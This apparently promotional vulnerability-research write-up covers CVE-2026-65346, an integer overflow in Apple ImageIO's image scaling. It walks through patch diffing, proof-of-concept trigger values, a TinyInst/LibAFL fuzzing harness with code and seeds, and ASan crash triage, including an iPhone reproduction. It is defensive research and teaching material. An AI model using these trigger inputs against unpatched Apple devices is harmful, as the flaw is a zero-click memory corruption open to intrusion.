_CGImageCreateByScaling, an exported function inside Apple's ImageIO framework,
computed a destination row stride as (bytesPerPixel * dstWidth) + 7 using a
32-bit multiply-add. Feed it a dstWidth large enough and the product wraps,
producing a row stride of 0 or 8 for an image a billion pixels wide. That
stride is handed to IIOSubsampler, which sizes the destination buffer from it
and then asks vImage to scale into it, a massively out-of-bounds write.
Apple fixed it in macOS Tahoe 26.6.2 / iOS 26.6.1 by widening the multiply to
umull and adding an explicit overflow test.
This post walks the whole thing end to end: the binary diff that found it, the proof-of-concept, a TinyInst harness, a LibAFL binary-only fuzzer that rediscovers it automatically, ASan reports from the resulting crashes, and a reproduction on a real iPhone running iOS 26.3.
Everything in this write-up, patch diffing Apple's dyld_shared_cache, building a binary-only fuzzing harness with LibAFL + TinyInst, and triaging crashes with ASan and LLDB on a real iPhone, is exactly what you practice in iOS Userland Fuzzing & Exploitation: AFL++/LibAFL, LLDB, and 0-click exploit development against real Apple targets on the latest iOS versions.
Explore the iOS Userland Fuzzing course →From Apple's advisory for macOS Tahoe 26.6.2:
ImageIO: Impact: Processing an image may lead to arbitrary code execution. An integer overflow was addressed with improved input validation. CVE-2026-65346: Nik Tsytsarkin of Meta Red Team X
| CVE | CVE-2026-65346 |
| Component | ImageIO |
| Class | Integer overflow → heap buffer overflow (OOB write) |
| Impact | Arbitrary code execution from processing an image |
| Reported by | Nik Tsytsarkin, Meta Red Team X |
| Fixed in | macOS Tahoe 26.6.2 (25G83), iOS/iPadOS 26.6.1, iOS 18.7.10 |
| Attack vector | Zero-click, anything that renders or thumbnails an image |
Apple does not publish discovery dates, so the only hard dates are the shipping
ones, taken from the Last-Modified headers on Apple's own CDN:
| Release | Build | Date |
|---|---|---|
| macOS 26.6 | 25G72 | Fri, 24 Jul 2026 |
| macOS 26.6.1 | 25G76 | Mon, 03 Aug 2026 |
| macOS 26.6.2 | 25G83 | Thu, 13 Aug 2026 ← the fix |
Note the asymmetry: the bug was fixed on iOS in 26.6.1 but on macOS only in 26.6.2: macOS 26.6.1 and 26.6.2 are ten days and one point release apart, so the delta is tiny and the fix is easy to isolate. There is a second ImageIO CVE in the same update, CVE-2026-65347 ("may lead to a denial-of-service"); keeping the two apart is part of the work below.
Two machines, deliberately one point release apart:
| Role | Version | Build | Notes |
|---|---|---|---|
| Patched (diff reference) | macOS 26.6.2 | 25G83 | SIP disabled |
| Vulnerable (target VM) | macOS 26.6.1 | 25G76 | 192.168.64.80, SIP enabled, 10 cores |
Keep the VM off 26.6.2. softwareupdate --list will happily offer it, so
confirm auto-install is off (AutomaticallyInstallMacOSUpdates = 0) before you
start.
On modern macOS, ImageIO lives inside the dyld_shared_cache, not as a
standalone file. The patched copy is the running system's cache; the vulnerable
copy is scp'd from the VM (15 files, 5.5 GB, much faster than a ~6 GB remote
extraction from Apple). Extract the framework from each side with
blacktop/ipsw (ipsw dyld macho "$CACHE"
"$FW" --extract): 31.5 MB each, different md5s. Good. (Note: ipsw dyld image
does not list the main ImageIO.framework/Versions/A/ImageIO, only the appex
and the XPC service. Extraction by exact path works anyway.)
New error strings are the cheapest way to see what Apple added:
$ LC_ALL=C strings - ./bin/vuln/ImageIO | LC_ALL=C sort -u > diff/str_vuln.txt
$ LC_ALL=C strings - ./bin/patched/ImageIO | LC_ALL=C sort -u > diff/str_patched.txt
$ diff diff/str_vuln.txt diff/str_patched.txt | grep '^>' | sed 's/^> //' \
| grep -v -E '^/AppleInternal|BuildRoot|/Library/Caches/com.apple.xbs'
Output (trimmed to the security-relevant lines):
*** ERROR: CG fallback rowBytes overflow rounding up: product=%u
*** ERROR: CG fallback rowBytes overflow: dstWidth=%zu * bpp=%u
*** ERROR: dstRowBytes overflow: dstWidth=%zu * (bpp/8)=%u
*** ERROR: image dimensions exceed UINT32_MAX: %zu x %zu
*** ERROR: subsampleRGB888 MALLOC failed (src=%p dst=%p, %zu x %u)
*** IOSurface does not support allocSize larger than INT32_MAX
*** dest buffer size overflow [%u x %u x %zu]
*** invalid row bytes (src=%u dst=%u)
This is a whole hardening batch, not one fix. Two candidates jump out for an integer overflow leading to arbitrary code execution:
dstRowBytes overflow: dstWidth=%zu * (bpp/8)=%uCG fallback rowBytes overflow: dstWidth=%zu * bpp=%uBoth name a multiplication of a width by a bytes-per-pixel, textbook stride overflow.
The symbol diff, meanwhile, is dominated by GIF: GIFReadPlugin::initialize
grows a locked, refcounting GlobalGIFInfo::globalColorMap() accessor where a
raw, unsynchronised global pointer read used to be. That is a race/UAF fix, not
an integer overflow: most likely CVE-2026-65347, and chasing it would have
burned the whole investigation. The lesson: match the class of the fix to the
wording of the advisory.
The strings say what changed; we need where. A small ARM64 scanner does the
job: find each string's virtual address, sweep __text for ADRP+ADD pairs
that materialise it, and map the hit back to the enclosing symbol:
$ python3 diff/xref.py bin/patched/ImageIO diff/sym_patched_raw.txt \
"dstRowBytes overflow" "CG fallback rowBytes overflow" \
"image dimensions exceed UINT32_MAX" "dest buffer size overflow" \
"subsampleRGB888" "allocSize larger than INT32_MAX"
--- "*** ERROR: dstRowBytes overflow: dstWidth=%zu * (bpp/8)=%u"
0x18d6f5070 in _CGImageCreateByScaling
0x18d6f50f0 in _CGImageCreateByScaling
--- "*** ERROR: CG fallback rowBytes overflow: dstWidth=%zu * bpp=%u"
0x18d6f5610 in _CGImageCreateByScaling
--- "*** ERROR: image dimensions exceed UINT32_MAX: %zu x %zu"
0x18d6f55cc in _CGImageCreateByScaling
Three separate new overflow guards land in one function: _CGImageCreateByScaling.
That is our candidate. (The remaining new strings land in ASTCWritePlugin, an
encode path, and "processing an image" means decode, and in IOSurface
creation.)
In a cache-extracted Mach-O, the section offset fields are cache-relative and
wrong for the file on disk, derive the real offset from the enclosing segment:
foff = seg.fileoff + (sect.addr - seg.vmaddr).
madd → widening umull; ============ macOS 26.6.1, VULNERABLE ============
lsr w8, w24, #0x3 ; bytesPerPixel = bitsPerPixel / 8
mov w9, #0x7
ldr x20, [sp, #0x80] ; w20 = dstWidth
madd w8, w8, w20, w9 ; (bytesPerPixel * dstWidth) + 7 <-- 32-BIT, WRAPS
and w25, w8, #0xfffffff8 ; dstRowBytes, rounded to a multiple of 8
...
stp w20, w25, [sp] ; push dstWidth, dstRowBytes
bl __ZN13IIOSubsamplerC1Ejjjttttjj
; ============ macOS 26.6.2, PATCHED ============
lsr w8, w24, #0x3
umull x9, w19, w8 ; 64-bit widening multiply
tst x9, #0xffffffff00000000 ; did the product exceed 32 bits?
b.ne -> LogError("*** ERROR: dstRowBytes overflow: dstWidth=%zu * (bpp/8)=%u")
adds w9, w9, #0x7 ; and check the +7 round-up for carry
b.lo -> continue ; else LogError
Every 32-bit madd became a widening umull, at exactly the sites the new
error strings point to.
Root cause. dstRowBytes = ((bytesPerPixel * dstWidth) + 7) & ~7 is computed
in 32 bits. It is then given to IIOSubsampler, which sizes the destination
buffer from it and writes full-width scanlines into it.
$ python3 diff/callers.py bin/vuln/ImageIO diff/sym_vuln_raw.txt 0x18d6f4cd8
0 direct caller site(s) of 0x18d6f4cd8:
$ grep 'CGImageCreateByScaling' diff/sym_patched_raw.txt
0x18d6f4d5c: (__TEXT,__text) external _CGImageCreateByScaling
Zero callers inside ImageIO, and the symbol is external. It is an exported
entry point, we can dlsym it and call it directly. Reading the prologue
recovers the signature, confirmed empirically (a sane call returns exactly
dstWidth * 4 as the stride):
CGImageRef CGImageCreateByScaling(CGImageRef src, uint32_t dstWidth,
uint32_t dstHeight, int32_t opts);
To overflow with a 32bpp image we need dstWidth * 4 >= 2^32, i.e.
dstWidth >= 0x40000000. On the patched host, both new guards fire and log
for such input, which simultaneously proves the input reaches the vulnerable
arithmetic. On 26.6.1 the guards do not exist, so the wrapped value survives:
4 * 0x40000001 = 0x100000004 -> truncated to 0x4 -> (4+7) & ~7 = 8
An 8-byte row stride for a 1,073,741,825-pixel-wide row. Yet running that on the
vulnerable VM gives... no crash. The wrapped stride does propagate into
IIOSubsampler, but the 8-bit path calls vImageScale_ARGB8888, and vImage
validates its buffer descriptors and bails with kvImageInternalError.
The patch itself points at the answer: it also hardened
IIOSubsampler::subsampleRGB888. The subsamplers are per-pixel-format, and they
do not all validate. So vary the source pixel format, which is also the
second operand of the multiply, so the required dstWidth changes with it:
| src bpp | bytesPerPixel | minimal dstWidth = ceil(2^32/bpx) |
|---|---|---|
| 24 | 3 | 0x55555556 |
| 32 | 4 | 0x40000000 |
| 48 | 6 | 0x2AAAAAAB |
| 64 | 8 | 0x20000000 |
| 128 | 16 | 0x10000000 |
CGBitmapContextCreate refuses most of these layouts, but CGImageCreate over a
CGDataProviderCreateWithData accepts them all. Sweeping the formats:
$ ssh fuzzing@192.168.64.80 'for b in 24 32 48 64 128; do ./poc_65346_fmt $b; done'
bpp=24 wrapped rowBytes: 8 survived. returned 0x0
bpp=32 wrapped rowBytes: 0 survived. returned 0x0
bpp=48 wrapped rowBytes: 8 survived. returned 0x0
bpp=64 wrapped rowBytes: 0 *** SIGNAL 10 -- CRASH ***
bpp=128 wrapped rowBytes: 0 *** SIGNAL 10 -- CRASH ***
The 16-bit-per-component paths crash: and both are NULL on the patched host. Backtrace on the vulnerable VM:
$ lldb -b -o run -o "bt 4" -- ./poc_65346_fmt 64
stop reason = EXC_BAD_ACCESS (code=2, address=0x100a58000)
frame #0: vImage`vHorizontal_Shear_ARGB_16U + 5352
-> 0x192416210 <+5352>: str d0, [x21, x4, lsl #3]
str, an 8-byte write into the destination buffer at a computed index. That
is the memory corruption.
Now to automate discovery. The harness has to satisfy an awkward constraint:
_CGImageCreateByScalinghas zero callers inside ImageIO, and the operand that overflows,dstWidth, is a function parameter, not a field of the decoded image.
A harness that only decodes files will never vary the thing that overflows. So
the harness drives three surfaces and gets dstWidth from the fuzzer.
_CGImageCreateByScaling is exported but not in any public header, so declare the
recovered prototype and dlsym it. Doing it in a constructor keeps the lookup
out of the hot loop and keeps TinyInst's module list stable at startup:
typedef CGImageRef (*scale_fn)(CGImageRef, uint32_t, uint32_t, int32_t);
static scale_fn g_scale;
static const char *IMAGEIO_PATH =
"/System/Library/Frameworks/ImageIO.framework/Versions/A/ImageIO";
__attribute__((constructor))
static void resolve_target(void) {
void *h = dlopen(IMAGEIO_PATH, RTLD_NOW | RTLD_GLOBAL);
if (h) g_scale = (scale_fn)dlsym(h, "CGImageCreateByScaling");
if (!g_scale) g_scale = (scale_fn)dlsym(RTLD_DEFAULT, "CGImageCreateByScaling");
}
CGImageSourceCreateImageAtIndex returns a lazy image. Nothing is written until
somebody demands the pixels, and it is that write that runs off the end of the
buffer. So force_decode() copies the image's data provider and touches the
first byte, gated by a 64 MB cap: a correctly-computed huge image is skipped so
it can't OOM the fuzzer, while an input that actually overflows produces a tiny
stride and sails through the gate.
g_scale(img, dstW, dstH, opts) directly
with fuzzer-supplied dimensions (zero width/height rejected, the callee
rejects them anyway), then force_decode the result.CGImageSourceCreateThumbnailAtIndex
is how a real zero-click attack reaches the scaler: Messages, Quick Look,
Spotlight and Finder all generate thumbnails. The harness requests thumbnails at
a few fixed pixel sizes plus a fuzzer-controlled one, and force-decodes each.CGImage whose bitsPerPixel is the multiply's
second operand.We need the fuzzer to control dstWidth, but the bytes ImageIO parses must stay a
valid image or every mutation dies in the PNG CRC check instead of reaching the
scaler. Solution: a 16-byte trailer appended after the image, stripped before
decoding.
"SCL3" | u32 dstWidth | u32 dstHeight | u32 opts (little-endian)
#define TRAILER_MAGIC "SCL3"
#define TRAILER_LEN 16
static int split_trailer(const uint8_t *data, size_t size, size_t *img_size,
uint32_t *dstW, uint32_t *dstH, int32_t *opts) {
*img_size = size;
if (size < TRAILER_LEN + 8) return 0;
const uint8_t *t = data + size - TRAILER_LEN;
if (memcmp(t, TRAILER_MAGIC, 4) != 0) return 0;
uint32_t w, h, o;
memcpy(&w, t + 4, 4);
memcpy(&h, t + 8, 4);
memcpy(&o, t + 12, 4);
*dstW = w; *dstH = h; *opts = (int32_t)o;
*img_size = size - TRAILER_LEN;
return 1;
}
You can see it at the end of a seed:
$ xxd -s -16 seeds/img_64bpp_tiff_exact
000008d2: 5343 4c33 0000 0020 0200 0000 0000 0000 SCL3... ........
^^^^^^^^^ "SCL3"
^^^^^^^^^ dstWidth = 0x20000000
^^^^^^^^^ dstHeight = 2
^^^^^^^^^ opts = 0
static void decode_image_inner(const uint8_t *data, size_t size) {
if (size < 8 || size > (32u * 1024u * 1024u)) return;
size_t img_size; uint32_t dstW = 0, dstH = 0; int32_t opts = 0;
int have_trailer = split_trailer(data, size, &img_size, &dstW, &dstH, &opts);
if (img_size < 8) return;
CFDataRef cf = CFDataCreate(NULL, data, (CFIndex)img_size);
if (!cf) return;
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
if (src) {
CGImageRef img = CGImageSourceCreateImageAtIndex(src, 0, NULL); /* Route A */
force_decode(img);
if (img) {
/* Without a trailer, derive the destination from the source so
* ordinary images still reach Route S. */
if (!have_trailer) {
dstW = (uint32_t)CGImageGetWidth(img) * 2u + 1u;
dstH = (uint32_t)CGImageGetHeight(img) * 2u + 1u;
}
scale_route(img, dstW, dstH, opts); /* Route S */
CFRelease(img);
}
thumbnail_route(src, dstW); /* Route T */
CFRelease(src);
}
CFRelease(cf);
}
The single most impactful line in the whole harness:
static void decode_image(const uint8_t *data, size_t size) {
try {
decode_image_inner(data, size);
} catch (...) {
/* malformed input rejected by CG/IIO, not interesting */
}
}
CoreGraphics and ImageIO throw bare int exceptions out of their C++
internals on allocation failure and on several malformed-input paths. Uncaught,
each one calls std::terminate, kills the persistent-mode child, and forces
TinyInst to respawn and re-instrument all of ImageIO, the console fills with
libc++abi: terminating due to uncaught exception of type int and throughput
collapses to 9.8 exec/s. Catching them:
[Testcase #0] executions: 2532, exec/sec: 32.26 | edges: 12323
9.8 → 32.3 exec/s. A genuine memory-corruption crash arrives as a signal, not a C++ exception, so this cannot mask the bug we are hunting.
One clang++ invocation:
clang++ -O2 -g -fno-omit-frame-pointer -fexceptions \
-framework Foundation -framework ImageIO -framework CoreGraphics -framework CoreFoundation \
-o cgs_harness cgs_harness.cpp
Then codesign it. This is mandatory: TinyInst needs task_for_pid on the
child, and SIP is enabled on the target VM. ent.plist grants
com.apple.security.get-task-allow (plus cs.debugger), the same mechanism that
lets lldb debug locally-built binaries under SIP:
codesign -f -s - --entitlements ent.plist cgs_harness
The fuzz entry point stays extern "C" so its name survives C++ mangling:
TinyInst's persistent mode breakpoints it by name.
Before fuzzing, confirm the harness is a good citizen on real images. Two
genuine system files (a 3840×2160 HEIC and a 256×256 PNG) decode clean, a full
decode, a scale through CGImageCreateByScaling, and three thumbnail renders:
$ ./cgs_harness -f demo/valid.heic ; echo "exit=$?"
exit=0
$ ./cgs_harness -f demo/valid.png ; echo "exit=$?"
exit=0
Contrast with a crashing input:
$ ./cgs_harness -f crashes/02266f626f3d2766 ; echo "exit=$?"
exit=139 # 139 - 128 = signal 11 (SIGSEGV)
That is the whole oracle: exit 0 on good images, fatal signal on bad ones.
ImageIO is a closed-source Apple framework living in the shared cache. That rules out source instrumentation, so we need binary-only coverage. On macOS/ARM64 the realistic options are:
Frida-stalker (libafl_frida) |
Works, but its module filter is built at startup. Anything dlopen'd later is invisible. Also slower for this workload. |
QEMU mode (libafl_qemu) |
Full-system emulation of macOS frameworks, impractical here. |
TinyInst (libafl_tinyinst) |
Purpose-built for exactly this: a debugger-based, dynamic-instrumentation engine from Google Project Zero, designed for closed-source macOS/Windows targets. |
TinyInst wins for three concrete reasons:
dlopen'd lazily mid-run are still instrumented, the exact case Frida's
startup-time module filter misses.-instrument_module ImageIO leaves the
other ~6,000 dylibs in the shared cache at native speed. Since the vulnerable
arithmetic and IIOSubsampler both live in ImageIO, that one module is all we
need.-target_method _fuzz lets it loop inside one process for
thousands of iterations instead of paying fork+exec+re-instrumentation per
input.And LibAFL on top gives us a real fuzzer, corpus scheduling, havoc mutators, coverage feedback, multi-core, instead of a hand-rolled loop.
One caveat that shapes the code: TinyInst is a debugger, so it cannot fork().
Multi-core therefore uses LibAFL's Launcher with .fork(false), which spawns
independent client processes that share findings over LLMP.
TinyInst reports ExitKind::Crash for plenty of things that are not memory
corruption: unhandled breakpoints, exception-port artifacts, the child exiting
mid-loop. Saving all of them buries the real bugs. So every candidate crash is
replayed against the uninstrumented harness and kept only if it dies from a
signal:
// Signal death (segfault, abort, bus error, ...).
if let Some(sig) = status.signal() {
// ILL, TRAP, ABRT, EMT, FPE, BUS, SEGV
return Ok(matches!(sig, 4 | 5 | 6 | 7 | 8 | 10 | 11));
}
// Non-zero without a signal is a handled error, not interesting.
Ok(false)
const INSTRUMENT: [&str; 1] = ["ImageIO"];
const PERSIST_ITERS: usize = 10000;
let mut executor = TinyInstExecutor::builder()
.instrument_module(INSTRUMENT)
.coverage_type("edge")
.cmp_coverage()
.program_args([
harness.to_string_lossy().into_owned(),
"-f".to_string(),
"@@".to_string(), // TinyInst substitutes the input file path
])
.persistent(harness_name, "_fuzz".to_string(), 1, PERSIST_ITERS)
.timeout(Duration::from_secs(10))
.coverage_ptr(&raw mut COVERAGE)
.build(tuple_list!(observer))?;
Details that matter: raising persistent iterations from 100 to 10,000 was worth
~2.1× (re-instrumenting ImageIO is the dominant cost); .cmp_coverage() gives
the mutator gradient on the dstWidth comparisons instead of a blind cliff; and
-generate_unwind stays off, page-extended dyld-cache neighbours like
libicucore have no __unwind_info and TinyInst aborts.
TinyInst matches module names with _stricmp. A harness binary named imageio
would match the instrumented module ImageIO, get instrumented itself, and the
persistent-mode breakpoint at _fuzz would end up baked into a JIT translation,
a poisoned block that traps every single iteration. Hence cgs_harness.
Launcher with .fork(false), TinyInst is a debugger, so it cannot fork;
the launcher spawns independent client processes that share findings over LLMP.
A Cargo.toml depending on libafl, libafl_bolts and libafl_tinyinst, then:
cargo build --release -p tinyinst_cve_2026_65346
codesign -f -s - --entitlements entitlements.plist \
../../../target/release/tinyinst_cve_2026_65346
Build on the patched host and copy the binary across: the tinyinst crate's
git2 → openssl-sys build-dependency chain fails on a bare VM with no
Homebrew, and the fuzzer links only five system dylibs plus a static TinyInst, so
it is portable between point releases.
Two things must line up for the bug to fire, so the corpus must span both:
ceil(2^32 / bytesPerPixel).Havoc will not invent a specific ~2²⁹-magnitude integer from scratch. So the seed generator puts values on the cliff edge and lets mutation explore around them. For each of PNG / TIFF / JPEG / BMP × 24 / 32 / 48 / 64 / 128 bpp it emits variants at and around the boundary:
uint32_t bpx = bpp / 8;
/* Minimal dstWidth whose product with bytesPerPixel exceeds 32 bits. */
uint32_t boundary = (uint32_t)((0x100000000ull + bpx - 1) / bpx);
struct { const char *tag; uint32_t w; uint32_t h; } cases[] = {
{ "under", boundary - 1, 2 },
{ "exact", boundary, 2 },
{ "over", boundary + 1, 2 },
{ "over8", boundary + 8, 2 },
{ "max", 0xffffffffu, 2 },
{ "half", boundary / 2, 2 },
};
That is 160 seeds, 672 KB. Sanity-check the corpus against both builds before fuzzing:
# vulnerable VM, macOS 26.6.1
$ for f in seeds/*; do ./cgs_harness -f "$f"; \
[ $? -gt 128 ] && echo "CRASH $f"; done
CRASH seeds/img_128bpp_png_max
CRASH seeds/img_128bpp_tiff_exact
CRASH seeds/img_64bpp_png_exact
CRASH seeds/img_64bpp_tiff_over
... (9 more, all 64/128bpp PNG/TIFF at or above the boundary) ...
---- 13 crashing seeds out of 160 ----
# patched host, macOS 26.6.2: identical corpus
---- 0 crashing seeds out of 160 ----
13/160 vs 0/160. Exactly the predicted set: 64 and 128 bpp, at or above the boundary, and only in containers that preserve 16-bit components (PNG and TIFF; JPEG and BMP quantise back down to 8 bits per component).
Single process: --simple. Multi-core (spawned clients, no fork, TinyInst is
a debugger):
../../../target/release/tinyinst_cve_2026_65346 --cores 0-3
=== CVE-2026-65346 ImageIO scaling fuzzer (Launcher, fork=false) ===
cores: Cores { ids: [CoreId(0), CoreId(1), CoreId(2), CoreId(3)] }
Instrumented module ImageIO, code size: 3408672
Imported 160 seed inputs.
[Client Heartbeat #3] (GLOBAL) run time: 48m-29s, clients: 5, corpus: 2264, \
objectives: 170, executions: 381732, exec/sec: 131.2
After ~48 minutes on 4 cores: 140 unique crashes from 381,732 executions (134 TIFF, 6 PNG by magic bytes), plus 959 corpus entries.
The single most important triage step, replay them on the patched build. (The campaign was still running, so the replay sets below are snapshots pulled off the VM at different points: 19 inputs here, 25 for the ASan pass in §13.)
$ for f in crashes_vm/*; do ./cgs_harness -f "$f"; \
[ $? -gt 128 ] && echo "CRASH $(basename $f)"; done
---- 0 / 19 crash on the PATCHED host ----
Every crash is fixed by the 26.6.2 patch. That is the differential that turns "the fuzzer found crashes" into "the fuzzer rediscovered CVE-2026-65346".
Crashing frames on the vulnerable build:
$ lldb -b -o run -o "bt 6" -- ./cgs_harness -f crashes/2871a12dbb8232f3
stop reason = EXC_BAD_ACCESS (code=1, address=0xae4400000)
frame #0: vImage`vHorizontal_Shear_ARGB_16U + 5352
Two distinct chains, both 16-bit-per-component:
| Top frame | Subsampler | Count |
|---|---|---|
vHorizontal_Shear_ARGB_16U |
IIOSubsampler::subsampleRGBA16 |
14 |
vHorizontalShear_ARGB16F_vec |
IIOSubsampler::subsampleRGBA32 |
5 |
Same source, one extra flag, then codesign as before:
clang++ -O1 -g -fno-omit-frame-pointer -fexceptions -fsanitize=address \
-framework Foundation -framework ImageIO -framework CoreGraphics -framework CoreFoundation \
-o cgs_harness_asan cgs_harness.cpp
MallocNanoZone=0 \
ASAN_OPTIONS=allocator_may_return_null=1:detect_leaks=0:symbolize=1:print_stacktrace=1:abort_on_error=0 \
./cgs_harness_asan -f crashes/<input>
allocator_may_return_null=1 is not optional, without it ASan aborts on ImageIO's
huge speculative allocations long before execution reaches the bug.
subsampleRGBA16)AddressSanitizer:DEADLYSIGNAL
=================================================================
==7255==ERROR: AddressSanitizer: BUS on unknown address (pc 0x000192416210 bp 0x00016fab6e10 sp 0x00016fab6c70 T0)
==7255==The signal is caused by a WRITE memory access.
#0 0x000192416210 in vHorizontal_Shear_ARGB_16U+0x14e8 (vImage:arm64e+0x2c210)
#1 0x000192414cc0 in vImageHorizontalShear_ARGB16U+0x260 (vImage:arm64e+0x2acc0)
#2 0x000192414890 in vImageScale_ARGB16U+0x424 (vImage:arm64e+0x2a890)
#3 0x000195963054 in IIOSubsampler::subsampleRGBA16(unsigned char*, unsigned int, unsigned char*, unsigned int*)+0x138 (ImageIO:arm64e+0x104054)
#4 0x0001958ab52c in IIOSubsampler::subsample(unsigned char*, unsigned int, unsigned char*, unsigned int*)+0x280 (ImageIO:arm64e+0x4c52c)
#5 0x0001959153e0 in CGImageCreateByScaling+0x708 (ImageIO:arm64e+0xb63e0)
#6 0x000100348ef8 in decode_image(unsigned char const*, unsigned long) cgs_harness.cpp:210
#7 0x000100348cc0 in fuzz cgs_harness.cpp:264
#8 0x0001003493cc in main cgs_harness.cpp:279
#9 0x0001883544e0 in start+0x1b4c (dyld:arm64e+0x204e0)
==7255==Register values:
x[4] = 0x0000000000007ada <- write index
x[21] = 0x0000602000002930 <- destination buffer (ASan small-alloc region)
x[22] = 0x0000000020000001 <- dstWidth = 2^29+1, the 64bpp overflow boundary
SUMMARY: AddressSanitizer: BUS (vImage:arm64e+0x2c210) in vHorizontal_Shear_ARGB_16U+0x14e8
The whole bug in one stack: CGImageCreateByScaling → IIOSubsampler::subsample
→ subsampleRGBA16 → vImage → out-of-bounds write. Faulting instruction is
str d0, [x21, x4, lsl #3] → 0x602000002930 + 0x7ada*8, i.e. ~251 KB past the
allocation. Chain 2 is the same shape through subsampleRGBA32 and
vHorizontalShear_ARGB16F_vec, with x22 = 0xffffffff, the saturated dstWidth.
19/19 reports state The signal is caused by a WRITE memory access, and every
one carries a dstWidth sitting exactly on its depth's overflow threshold:
x22 (dstWidth) |
depth | meaning |
|---|---|---|
0x20000000 / +1 / +8 |
64 bpp | 2^32 / 8 boundary |
0x10000000 / +1 / +8 |
128 bpp | 2^32 / 16 boundary |
0xffffffff |
both | saturated |
The arithmetic from the patch diff, showing up verbatim in the register state.
The final control. Identical harness, identical ASan flags, identical inputs, only the OS differs:
$ for f in crashes_vm/*; do
MallocNanoZone=0 ASAN_OPTIONS=allocator_may_return_null=1:detect_leaks=0:abort_on_error=0 \
./cgs_harness_asan -f "$f" 2>&1 | grep -q 'ERROR: AddressSanitizer' && echo "ASAN ERROR: $f"
done
---- 0 ASan errors across 25 inputs on the PATCHED host ----
| macOS 26.6.1 (vulnerable) | macOS 26.6.2 (patched) | |
|---|---|---|
| ASan verdict | 19 / 19 fatal: BUS or SEGV, all WRITE memory access |
0 errors |
heap-buffer-overflowWorth being explicit, because it looks like a tooling failure and is not. The row
stride is short by nearly 2³², so the very first row write jumps hundreds of
kilobytes past the buffer and lands on unmapped pages, far outside any ASan
redzone or shadow, hence BUS/SEGV instead of a redzone report. And the fault
address tracks the input (0x500008000, 0xae4400000, 0x600800000…), meaning
the out-of-bounds distance is attacker-influenced: a more useful
exploitability signal than a redzone hit would have been.
Everything above ran on macOS VMs. The same harness, cross-compiled for iOS as
cgs_harness_ios_asan, was deployed to a jailbroken iPhone running iOS 26.3
(23D127): a build that predates the 26.6.1 fix, and run over SSH against one
of the fuzzer-found crashes:
# ASAN_OPTIONS=allocator_may_return_null=1:detect_leaks=0:max_allocation_size_mb=8192 \
./cgs_harness_ios_asan -f crashes/fbc4b0e6b16ee06c
AddressSanitizer: SEGV ... The signal is caused by a WRITE memory access
vImageHorizontalShear_ARGB16U <- vImageScale_ARGB16U (vImage:arm64e)
<- IIOSubsampler::subsampleRGBA16 <- IIOSubsampler::subsample
<- CGImageCreateByScaling+0x6f8 <- decode_image <- fuzz <- main
zsh: abort
The same chain reproduces: ASan reports a SEGV caused by a WRITE in vImage's
vImageHorizontalShear_ARGB16U, reached via IIOSubsampler::subsampleRGBA16 from
CGImageCreateByScaling, frame for frame the macOS chain-1 report. iOS 26.3
ships the same vulnerable 32-bit arithmetic, confirming the zero-click vector
(thumbnails and rendering) applies to mobile, not just macOS.
CGImageCreateByScaling → IIOSubsampler chain as on macOS.🎯 Harness construction for ImageIO, CoreText and CoreAudio, and reproducing ImageIO bugs on-device against a live iPhone like the one above, is a full module in iOS Userland Fuzzing & Exploitation.
_CGImageCreateByScaling.dstRowBytes overflow:
dstWidth=%zu * (bpp/8)=%u names the vulnerable expression outright.LogError print proved we reached the vulnerable arithmetic before we ever got
a crash.0x20000000.try/catch(...) was worth 3.3× on
throughput.CVE-2026-65346/
├── bin/{vuln,patched}/ImageIO # extracted framework, both builds
├── diff/xref.py # string -> function attribution (ADRP+ADD scan)
├── diff/callers.py # BL/B caller discovery
├── poc/poc_65346.c # direct-call PoC
├── poc/poc_65346_fmt.c # pixel-format-aware PoC (the one that crashes)
└── asan/ # 19 ASan reports
libafl-tiny/fuzzers/binary_only/tinyinst_cve_2026_65346/
├── harness/cgs_harness.cpp # the TinyInst harness
├── harness/mkseeds.c # boundary-aware seed generator
├── src/main.rs # the LibAFL fuzzer
└── src/verified_crash.rs # native-replay crash filter
Binary patch diffing, binary-only fuzzing, and crash triage are core skills for vulnerability researchers. Mobile Hacking Lab's courses teach the exact techniques used here:
Start the iOS Userland Fuzzing & Exploitation course →
Want to learn binary patch diffing, fuzzing harness construction, and exploit development for mobile and native platforms? Mobile Hacking Lab provides pre-configured virtual labs where you practice real reverse engineering and exploitation. Start with the free labs, or jump to iOS Userland Fuzzing & Exploitation. For discovering bugs like this at scale, see Djini.ai, AI-powered vulnerability discovery for OOB reads, memory corruption, and logic flaws across mobile and native codebases.